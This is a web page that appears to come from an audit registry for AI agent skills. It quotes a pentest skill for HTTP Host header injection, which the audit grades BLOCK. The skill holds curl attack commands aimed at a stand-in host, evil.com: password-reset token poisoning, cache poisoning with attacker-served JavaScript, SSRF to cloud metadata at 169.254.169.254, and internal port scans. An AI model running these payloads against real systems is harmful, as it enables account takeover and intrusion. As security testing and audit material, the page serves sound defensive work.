Testing For Host Header InjectionBLOCK
817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains ·
Overview
817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains ·
6c59587be632OBSERVED · 2026-10-07What it tells the agent
The instruction file, verbatim from the audited commit — this is the text the model reads, and the surface the audit's instruction layer examines. Quoted here so you can judge it without cloning anything.
--- name: testing-for-host-header-injection description: Test web applications for HTTP Host header injection vulnerabilities to identify password reset poisoning, web cache poisoning, SSRF, and virtual host routing manipulation risks. domain: cybersecurity subdomain: web-application-security tags: - host-header-injection - password-reset-poisoning - cache-poisoning - virtual-host - web-security - header-manipulation - ssrf version: '1.0' author: mahipal license: Apache-2.0 nist_csf: - PR.PS-01 - ID.RA-01 - PR.DS-10 - DE.CM-01 mitre_attack: - T1190 - T1059.007 - T1505.003 - T1083 - T1055 --- # Testing for Host Header Injection ## When to Use - When testing password reset functionality for token theft via host manipulation - During assessment of web caching behavior influenced by Host header values - When testing virtual host routing and server-side request processing - During penetration testing of applications behind reverse proxies or load balancers - When evaluating SSRF potential through Host header manipulation ## Prerequisites - Burp Suite for intercepting and modifying Host headers - Understanding of HTTP Host header role in virtual hosting and routing - Knowledge of alternative host headers (X-Forwarded-Host, X-Host, X-Original-URL) - Access to an attacker-controlled domain for receiving poisoned requests - Burp Collaborator or interact.sh for out-of-band detection - Multiple test accounts for password reset testing > **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. ## Workflow ### Step 1 — Test Basic Host Header Injection ```bash # Supply arbitrary Host header curl -H "Host: evil.com" http://target.com/ -v # Check if application reflects evil.com in response # Double Host header curl -H "Host: target.com" -H "Host: evil.com" http://target.com/ -v # Host header with port injection curl -H "Host: target.com:evil.com" http://target.com/ -v curl -H "Host: target.com:@evil.com" http://target.com/ -v # Absolute URL with different Host curl --request-target "http://target.com/" -H "Host: evil.com" http://target.com/ -v # Check for different virtual host access curl -H "Host: admin.target.com" http://target.com/ -v curl -H "Host: internal.target.com" http://target.com/ -v curl -H "Host: localhost" http://target.com/ -v ``` ### Step 2 — Test Password Reset Poisoning ```bash # Trigger password reset with modified Host header # The reset link may use the Host header value in the URL curl -X POST http://target.com/forgot-password \ -H "Host: evil.com" \ -d "[email protected]" # If reset email contains: http://evil.com/reset?token=xxx # Attacker receives the token when victim clicks the link # Try X-Forwarded-Host for password reset poisoning curl -X POST http://target.com/forgot-password \ -H "X-Forwarded-Host: evil.com" \ -d "[email protected]" # Port-based injection in reset URL curl -X POST http://target.com/forgot-password \ -H "Host: target.com:[email protected]" \ -d "[email protected]" # Test with various forwarding headers for header in "X-Forwarded-Host" "X-Host" "X-Original-URL" "X-Rewrite-URL" "X-Forwarded-Server" "Forwarded"; do curl -X POST http://target.com/forgot-password \ -H "$header: evil.com" \ -d "[email protected]" echo "Tested: $header" done ``` ### Step 3 — Test Web Cache Poisoning via Host Header ```bash # If caching layer uses URL (without Host) as cache key: # Poison cache with modified Host header curl -H "Host: evil.com" http://target.com/ -v # If response is cached and contains evil.com links # All subsequent users receive poisoned content # Test with X-Forwarded-Host for cache poisoning curl -H "X-Forwarded-Host: evil.com" http://target.com/login -v # Check X-Cache header to see if response was cached # Verify cache poisoning curl http://target.com/login -v # If response still contains evil.com, cache is poisoned # Poison JavaScript URLs in cached pages curl -H "X-Forwarded-Host: evil.com" http://target.com/ # If page loads: <script src="//evil.com/static/app.js"> # Attacker serves malicious JavaScript to all users ``` ### Step 4 — Test SSRF via Host Header ```bash # Backend may use Host header to make internal requests curl -H "Host: internal-api.target.local" http://target.com/api/proxy # Access cloud metadata via Host header curl -H "Host: 169.254.169.254" http://target.com/ # Internal port scanning for port in 80 443 8080 8443 3000 5000 9200; do curl -H "Host: 127.0.0.1:$port" http://target.com/ -o /dev/null -w "%{http_code}" -s echo " - Port $port" done # SSRF via absolute URL curl --request-target "http://internal-server/" -H "Host: internal-server" http://target.com/ ``` ### Step 5 — Test Virtual Host Enumeration ```bash # Enumerate virtual hosts for vhost in admin staging dev test api internal backend; do status=$(curl -H "Host: $vhost.target.com" http://target.com/ -o /dev/null -w "%{http_code}" -s) size=$(curl -H "Host: $vhost.target.com" http://target.com/ -o /dev/null -w "%{size_download}" -s) echo "$vhost.target.com - Status: $status, Size: $size" done # Check default virtual host behavior curl -H "Host: nonexistent.target.com" http://target.com/ -v # Compare with legitimate host response # Access internal admin panels via virtual host curl -H "Host: admin" http://target.com/ curl -H "Host: management.internal" http://target.com/ ``` ### Step 6 — Test Connection-State Attacks ```bash # HTTP/1.1 connection reuse attack # Send legitimate first request, then inject Host header on subsequent request # Use Burp Repeater with "Update Content-Length" and manual Connection: keep-alive # In Burp Repeater, send grouped request: # Request 1 (legitimate): # GET / HTTP/1.1 # Host: target.com # Connection: keep-alive # # Request 2 (injected): # GET /admin HTTP/1.1 # Host: internal.target.com # Test with H
Trust audit
BLOCKgrade D · trust 69/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | PASS |
| L1 | Static analysis of the code | FAIL |
| L2 | Instruction surface (what it tells the agent) | FAIL |
| L3 | Class-specific surface | PASS |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- none-observed
- Network
- none-observed
- Shell
- none-observed
- Dependencies
- pinned
- Secrets in source
- none-found
Findings (7)
curl -X POST http://target.com/forgot-password \
# If reset email contains: http://evil.com/reset?token=xxx
curl -X POST http://target.com/forgot-password \
curl -X POST http://target.com/forgot-password \
curl -X POST http://target.com/forgot-password \
curl -H "Host: 169.254.169.254" http://target.com/
| 4 | SSRF | Host: 169.254.169.254 | Metadata access | Critical |
Gates applied: critical_finding, no_behavioural_pass, undeclared_transfer.
6c59587be632full audit observations/trust-audit/skill/mukul975__testing-for-host-header-injection.json · Report an issue / request a re-scanAudit history
Every audit this skill has had.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-07 | 6c59587be632 | BLOCK | D | 69 | first audit |
Questions
What does the Testing For Host Header Injection skill do?
817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains ·
Is Testing For Host Header Injection safe to install?
No — not without reading the findings first. The audit graded it D (69/100) and found 7 critical or high issues in the source. Each one is listed on this page with the file and line it is on.
What can Testing For Host Header Injection access on my machine?
The audit observed no filesystem, network or shell use at all in its source.
How current is this page?
The grade is for one exact copy of the source (6c59587be632), read on 2026-10-07. The repository is watched, and a new audit runs when it changes — this is the first audit.